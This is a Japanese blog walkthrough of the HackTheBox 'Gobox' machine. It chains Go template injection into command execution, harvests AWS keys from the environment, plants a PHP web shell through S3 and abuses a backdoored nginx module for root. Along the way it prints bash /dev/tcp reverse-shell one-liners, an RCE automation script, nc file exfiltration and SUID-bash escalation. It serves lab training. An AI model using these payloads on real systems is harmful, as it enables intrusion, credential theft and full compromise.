4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Gobox WriteUp

Last updated at Posted at 2024-03-15

今回はHackTheBoxのMediumマシン「Gobox」のWriteUpです!
名前からして、Go言語が使用されていそうですが、どのようなマシンなのでしょうか!

※ 2024/03/14 に行われました Security Days のオープンセッションにて攻略したマシンとなります!セッションへの参加ありがとうございました!

image.png

グラフはよくあるMediumの感じですね。
評価はなんと★5!これは期待できます!攻略目指して頑張ります~!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Gobox

攻略

それでは、早速攻略を開始していきましょう!
いつも通りポートスキャンから始めます!

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.3>$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.113 -oN nmap.log

PORT     STATE    SERVICE    REASON         VERSION
22/tcp   open     ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open     http       syn-ack ttl 63 nginx
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: Hacking eSports | {{.Title}}
4566/tcp open     http       syn-ack ttl 63 nginx
|_http-title: 403 Forbidden
8080/tcp open     http       syn-ack ttl 63 nginx
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Hacking eSports | Home page
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: 271532D72FD5025CF19147524DE66481

HTTP のポートがいくつか確認できます。
順番にアクセスしてみましょう。

まずは、80番です。

image.png

サイトが表示されましたが、特に遷移先は見つかりません。
次は、4566番にアクセスしてみましょう。

image.png

nmap の出力から分かっていたことではありますが、Forbidden が返ってきました。
最後は、8080番にアクセスしてみます。

image.png

ログイン画面が表示されました。
攻撃できそうな対象は、8080番のみなので色々試してみることにしました。

SSTI

ログイン画面に対し、SQLインジェクションなどの攻撃を行いましたが発火しません。
ログインのバイパスは厳しそうなので、「Forget Password」を押下してみます。

image.png

よくあるメールアドレスを入力するタイプの画面が表示されました。
とりあえず適当に入力し、「Login」をクリックします。

image.png

test@test.comというメールアドレスを入力すると、メッセージとして入力した値がそのまま出力されました。
メールアドレスの出力は、制御できそうなので脆弱性が発火するかもしれません。
では、どのような脆弱性を発火させるかですが、脆弱性として危険度が高いものとしてSSTIが挙げられます。Python や Ruby では有名な脆弱性ですが、今回のサーバはどの言語が使用されているのでしょうか。

レスポンスのヘッダー部分を見ると、X-Forwarded-Server: golangと書いてあることが分かります。

image.png

どうやら、サーバにはGo言語が使用されているみたいです。
それではGo言語でのSSTIを試してみましょう。

Go言語のSSTIを発火させる文字列として、{{.}}があります。これは、与えられている変数を出力するものです。email を{{.}}に変更し、リクエストを送信してみましょう。

image.png

SSTIが発火しました!
出力された変数の値を見ると、それはメールアドレスとパスワードのようです。この情報を使用し、ログインできるか試してみましょう。

image.png

ログインに成功しました!が、どうやらコードが出力されるもの見たいです。
軽くコードを見ていると、気になる部分を見つけました。

func (u User) DebugCmd (test string) string {
  ipp := strings.Split(test, " ")
  bin := strings.Join(ipp[:1], " ")
  args := strings.Join(ipp[1:], " ")
  if len(args) > 0{
    out, _ := exec.Command(bin, args).CombinedOutput()
    return string(out)
  } else {
    out, _ := exec.Command(bin).CombinedOutput()
    return string(out)
  }
}

上記は、DebugCmdという関数のコードですが、testで渡された文字列を使用し、exec.Commandを実行しています。明らかに怪しいです。
と言っても、コードの中では関数が実際に実行されていないので悪用は難しいように思われるかもしれません。しかし、SSTIを悪用することで関数を実行することもできます。
関数の実行には{{.<function> "<args>"}}という文字列を指定するだけです。試しにidコマンドを実行してみましょう。

{{.DebugCmd "id"}}と入力すると...

image.png

idコマンドの結果が返ってきました!コマンドを実行できたことが分かります。
では、シェルを取得しましょう!実行するコマンドはいつものやつです。

{{.DebugCmd "bash -c 'bash -i >& /dev/tcp/<Kali IP>/<Kali Port> 0>&1'"}}のコマンド部分をURLエンコードし、送信します。
送信する前に待ち受けを開始することを忘れないでください。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2121
listening on [any] 2121 ...

待ち受けを開始したら、実行していきましょう!

image.png

実行しましたが、シェルは返ってこなく最終的にタイムアウトとなってしまいました。
色々と試しましたが、そもそも対象のサーバからKali側へ通信することが制限されていました。アウトバンドの通信を許さないようです。
しかし、リバースシェルを取得できなくとも、内部を列挙していくことは可能です。BurpSuiteで毎回リクエストを送信すればよいですが、少し不便なので以下のスクリプトを用意しました。

#!/usr/bin/env python3

import requests
import re
import sys
from html import unescape

cmd = sys.argv[1]

data = {"email": f'{{{{.DebugCmd "{cmd}" }}}}'}
response = requests.post('http://10.10.11.113:8080/forgot/', data=data)

re_rule = re.compile(r"Email Sent To: (.*?)\s+<button", re.DOTALL)

result = re_rule.search(response.text).group(1)
result = unescape(unescape(result))
print(result)

上記のスクリプトは引数でコマンドを指定するだけで、結果の部分のみを出力してくれるものです。例えばidコマンドを実行してみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'id'    
uid=0(root) gid=0(root) groups=0(root)

idの結果のみ出力されました!本来のシェルより不便なのは変わりませんが、BurpSuiteでいちいちエンコードし、出力を探すよりは断然効率が良くなりました。

AWS

では、ここからさらに列挙を開始していきましょう。
まず侵入先がコンテナかどうかの見分けをつけるために、ホームディレクトリを確認します

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'ls -l /home'
total 0

ユーザがいませんでした。これはコンテナの確立が高そうですね。
コンテナである可能性を確実にするため、ipコマンドとifconfigコマンドを実行してみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'ip'
/bin/bash: ip: command not found
                                                                                                                                                                            
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'ifconfig'
/bin/bash: ifconfig: command not found

どちらのコマンドも存在しないようです。これは、コンテナの典型的な例で、侵入先はやはりコンテナのようです。
では、一体どのようなコンテナが使用されているのかですが、こういう時は環境変数を確認することもひとつの手です。envコマンドを実行してみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'env'          
HOSTNAME=aws
PWD=/opt/uhc
HOME=/root
AWS_SECRET_ACCESS_KEY=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
SHLVL=0
AWS_ACCESS_KEY_ID=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DEBIAN_FRONTEND=noninteractive
OLDPWD=/
_=/usr/bin/env

ホスト名がAWSになっています!どうやらこのホストは AWS EC2 コンテナのようです。
また、環境変数の中に AWS の credential が保存されています。AWS のバイナリがあればを credential 使用して侵入できるかもしれません。バイナリがあるかどうか検索してみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'which aws'
/usr/bin/aws

バイナリを発見しました!コマンドが実行できそうです。

Web Shell (S3)

それでは実際にコマンドを実行していきましょう。どのようなコマンドを実行するかですが、今回行いたいこととしては、認証情報を発見することやWeb Shellを作成することなので、S3を見てみたいと思います。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 ls'
2024-03-11 09:52:55 website

websiteというS3を発見しました!
もう少し中身を見てみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 ls s3://website'
                           PRE css/
2024-03-11 09:52:55    1294778 bottom.png
2024-03-11 09:52:55     165551 header.png
2024-03-11 09:52:55          5 index.html
2024-03-11 09:52:55       1803 index.php

index.htmlを含む4つのファイル、そしてcssディレクトリが確認できました。一つのWebサイトがS3と同期しているかもしれません。index.html の内容を見てみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 cp s3://website/index.html /tmp/index.html' 
download: s3://website/index.html to ../../tmp/index.htmlmaining
                                                                                                                                                                            
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'cat /tmp/index.html'
test

testとだけ、表示されました。testだけが表示されるウェブサイトなんてあったでしょうか。。。
今回はいくつかポートがオープンしていたので、index.htmlを指定し、アクセスしてみましょう。

80番ポートでアクセスすると...

image.png

testとだけ表示されています!どうやらこのS3は、80番ポートのWebサイトと同期している可能性がありそうです。また、PHPが使用できるのでWeb Shellが作成できるかもしれません。
では、試しにPHPファイルを作成し、S3上にアップロードしてみましょう。PHPファイルの内容はいつものWeb Shellです。ただ、コマンドライン上から実行しようとすると、ダブルクォートがエラーを出力してしまうため、作成は、URLエンコードさせた値をBurpSuiteから送信します。

実行するコマンドは以下です。

echo '<?php system($_GET[\"cmd\"]); ?>' > /tmp/shell.php

このコマンドをURLエンコードさせ、BurpSuiteからリクエストを送信しましょう。

image.png

特に返り値はないですが、エラーも出ていないので作成できていそうです。
/tmp/shell.phpを見てみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'cat /tmp/shell.php'
<?php system($_GET["cmd"]); ?>

PHPファイルの作成に成功しました!
では、S3にアップロードしていきましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 cp /tmp/shell.php s3://website/shell.php'
upload: ../../tmp/shell.php to s3://website/shell.php) remaining

アップロードに成功したっぽいですが、どうでしょうか。実際にアクセスしてみましょう。

image.png

おおおお!Web Shellが作成され、コマンドの実行ができました!

www-data としてのシェル

それでは、リバースシェルを取得しましょう!
実行するコマンドは以下です。

bash -c 'bash -i >& /dev/tcp/10.10.14.9/2121 0>&1'

このコマンドをURLエンコードし、cmdパラメータに指定します。
実行する前に、待ち受け開始を忘れてはいけません。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2121 
listening on [any] 2121 ...

準備万端です!実行しましょう!

image.png

特に応答はありませんが...

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2121 
listening on [any] 2121 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.113] 46870
bash: cannot set terminal process group (809): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gobox:/opt/website$ whoami
whoami
www-data

シェルが返ってきました~!!
やっと初期侵入に成功です!

www-data@gobox:/home/ubuntu$ ls -l
total 4
-rw-r--r-- 1 root root 33 Mar 11 09:53 user.txt

ユーザフラグも取得できました!

権限昇格

現在のユーザはwww-dataでしたが、ホームディレクトリにはubuntuユーザしかいなかったので、このまま権限昇格を狙えそうです。
とりあえず、sudo -lを実行してみましょう。

www-data@gobox:/home/ubuntu$ sudo -l
[sudo] password for www-data: 
Sorry, try again.

パスワードを求められるので、実行できそうにないです。
では次に何をするかですが、権限昇格を狙う方法はいくつかあります。しかし、今回怪しいのは403を返していた4566番ポートです。オープンしているのに、ここまで関与してこないなんてことは、滅多にありません。
先ほどの 80番ポートを見たときに、Serverがnginxであることは分かっているので、nginxの構成を見てみましょう。/etc/nginxへアクセスすることで構成を見ることが出来ます。

www-data@gobox:/etc/nginx$ ls -la
total 72
drwxr-xr-x   8 root root 4096 Aug 26  2021 .
drwxr-xr-x 108 root root 4096 Aug 26  2021 ..
drwxr-xr-x   2 root root 4096 Aug 26  2021 conf.d
-rw-r--r--   1 root root 1077 Feb  4  2019 fastcgi.conf
-rw-r--r--   1 root root 1007 Feb  4  2019 fastcgi_params
-rw-r--r--   1 root root 2837 Feb  4  2019 koi-utf
-rw-r--r--   1 root root 2223 Feb  4  2019 koi-win
-rw-r--r--   1 root root 3957 Feb  4  2019 mime.types
drwxr-xr-x   2 root root 4096 Aug 26  2021 modules-available
drwxr-xr-x   2 root root 4096 Aug 26  2021 modules-enabled
-rw-r--r--   1 root root 1484 Aug 24  2021 nginx.conf
-rw-r--r--   1 root root  180 Feb  4  2019 proxy_params
-rw-r--r--   1 root root  636 Feb  4  2019 scgi_params
drwxr-xr-x   2 root root 4096 Aug 26  2021 sites-available
drwxr-xr-x   2 root root 4096 Aug 26  2021 sites-enabled
drwxr-xr-x   2 root root 4096 Aug 26  2021 snippets
-rw-r--r--   1 root root  664 Feb  4  2019 uwsgi_params
-rw-r--r--   1 root root 3071 Feb  4  2019 win-utf

いくつかファイルがありますが、4566番の構成を見たいので、site-enabledへアクセスしましょう。

www-data@gobox:/etc/nginx/sites-enabled$ ls -l
total 0
lrwxrwxrwx 1 root root 34 Aug 23  2021 default -> /etc/nginx/sites-available/default

defaultがありますね。内容を確認してみると、それぞれのポートの構成が記述されていました。4566番の部分を抜粋します。

server {
	listen 4566 default_server;


	root /var/www/html;

	index index.html index.htm index.nginx-debian.html;

	server_name _;


        location / {
		if ($http_authorization !~ "(.*)SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz(.*)") {
		    return 403;
		}
                proxy_pass http://127.0.0.1:9000;
        }

}

アクセス時に認証を行い、認証に成功した場合のみproxy_passで 9000番へ転送されるようです。
4566番が怪しいかと思いましたが、認証部分もハードコードされており、攻撃パスとしては少し弱い気がします。9000番もproxy_passであり、こちらはコンテナ系でよく見るものなので、微妙な気がします。

backdoor

読みがはずれ、少し困りましたがdefaultの内容を下まで読んでいくと、気になる構成を発見しました。

server {
	listen 127.0.0.1:8000;
	location / {
		command on;
	}
}

8000番のサーバの構成が存在しています。8000番はポートスキャンでは確認できなかったポートです。また、locationcommand onとなっており、明らかにアツそうな気がします。
command onということはコマンドが実行できるのでしょうか。もしコマンドが実行できた場合にnginxがrootで実行されていると、権限を昇格することができそうです。
それでは、nginxがどのユーザで実行されているかを確認してみましょう。nginx.confファイルにより、実行ユーザを確認することが可能です。

www-data@gobox:/etc/nginx$ cat nginx.conf
user root;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

<snip>

# 
#	server {
#		listen     localhost:143;
#		protocol   imap;
#		proxy      on;
#	}
#}

出力の一番上をみると、user rootとなっており、nginxがrootユーザで実行されていることがわかりました!やはり激アツな予感がするので、少しcommand onについて調べてみましょう。

「nginx "command on" location」のような形で検索をかけてみました。

スクリーンショット 2024-03-15 21.08.24.png

有用そうな記事がヒットしました!一番上のGitHubのページを見てみましょう。

image.png

8000番のサーバと全く同じ設定が書いてあります!
さらに下を見ていくと、コマンドの実行方法も書いてありました。

image.png

記事によると、http://<Server IP>/?system.run[command]>でリクエストを送信することにより、コマンドの実行結果が返ってくるようです。

image.png

どうやら/modules/ngx_http_execute_module.so;というモジュールをロードしていることが原因のようです。
とにかく、コマンドが実行できそうなので試してみましょう。コマンド部分にidを指定したURLに対して curl を実行します。

www-data@gobox:/etc/nginx/modules-enabled$ curl http://127.0.0.1:8000?system.run[id]
curl: (52) Empty reply from server 

あれ、うまくいきませんね。GitHubのページ的には確実に実行できるはずですが、、、すこしモジュールを調べてみることにします。findコマンドでモジュールを探してみましょう。

www-data@gobox:/etc/nginx/modules-enabled$ find / -name ngx_http_execute_module.so 2>/dev/null
/usr/lib/nginx/modules/ngx_http_execute_module.so

見つかりました。このsoファイルをローカルへ転送します。
まず初めに、待ち受けを開始します。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2122 > ngx_http_execute_module.so
listening on [any] 2122 ...

待ち受けが開始出来たら、catした結果をncで転送させます。

www-data@gobox:/etc/nginx/modules-enabled$ cat /usr/lib/nginx/modules/ngx_http_execute_module.so | nc 10.10.14.6 443

転送が終わったら、ファイルに対してstringsコマンドを実行し、system.runが存在するか確認してみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ strings ngx_http_execute_module.so | grep system.run

grepを実行したところ、見つからなかったため存在していないようです。
少しフィルターを弱くして、runという文字だけでgrepを実行してみましょう。

+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ strings ngx_http_execute_module.so | grep run       
ippsec.run

すると、ippsec.runを発見しました!
もしかしたら、このモジュールでコマンドを実行できるかもしれません。いや、実行できない気もしますが、試してみましょう。

root としてのシェル

それでは、先ほどのsystem.runippsec.runに変更し、curlを実行したいと思います。

www-data@gobox:/etc/nginx/modules-enabled$ curl http://127.0.0.1:8000?ippsec.run[id]
uid=0(root) gid=0(root) groups=0(root)

なんとコマンドが実行できました!!
最終的に一筋縄ではいかない感じが、さすがMediumマシンだなという気がしますね笑

それでは、あとはいつもの流れで権限昇格を行いましょう。
/bin/bashにSUIDを付与していきます!

$ curl -g http://127.0.0.1:8000?ippsec.run[chmod%20u+s%20%2Fbin%2Fbash]
curl: (52) Empty reply from server

付与しただけなので、特に返り値はありません。
SUIDが付与されているかどうか確認してみましょう。

$ curl -g http://127.0.0.1:8000?ippsec.run[ls%20-l%20%2Fbin%2Fbash]    
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash

SUIDが付与されています!権限を昇格させましょう!

www-data@gobox:/etc/nginx/modules-enabled$ bash -p  
bash-5.0# whoami
root

権限昇格成功です~~!

bash-5.0# ls -l
total 12
-rwxr-xr-x 1 root root  536 Aug 24  2021 iptables.sh
-rw------- 1 root root   33 Mar 11 09:53 root.txt
drwxr-xr-x 3 root root 4096 Aug 26  2021 snap

ルートフラグも取得することが出来ました!完全攻略達成です!

攻略を終えて

Gobox攻略してきましたが、かなり面白いマシンだったと思います。Go言語やAWS、nginxのモジュール単位でのハッキングはあまり実践できないものでもあるので、攻略していて新鮮でした。旬な技術でもあるので、参考になる人も多いのではないかと思います。
今回は、Go言語のSSTIで侵入できました。やはりユーザの入力をそのままテンプレートで使用するようなことは危険すぎるので避けた方がいいですね。また、侵入後、AWSのクレデンシャルがあり、S3の中を自由に操作できましたが、こちらも避けるべき設定です。必要ない場合はそれぞれを独立させ、適切なアクセス制限をかけておきましょう。
今後もHackTheBoxのWriteUp投稿していくので見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!
また、オープンセッションに来場してくださった方々、本当にありがとうございました〜!!

4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?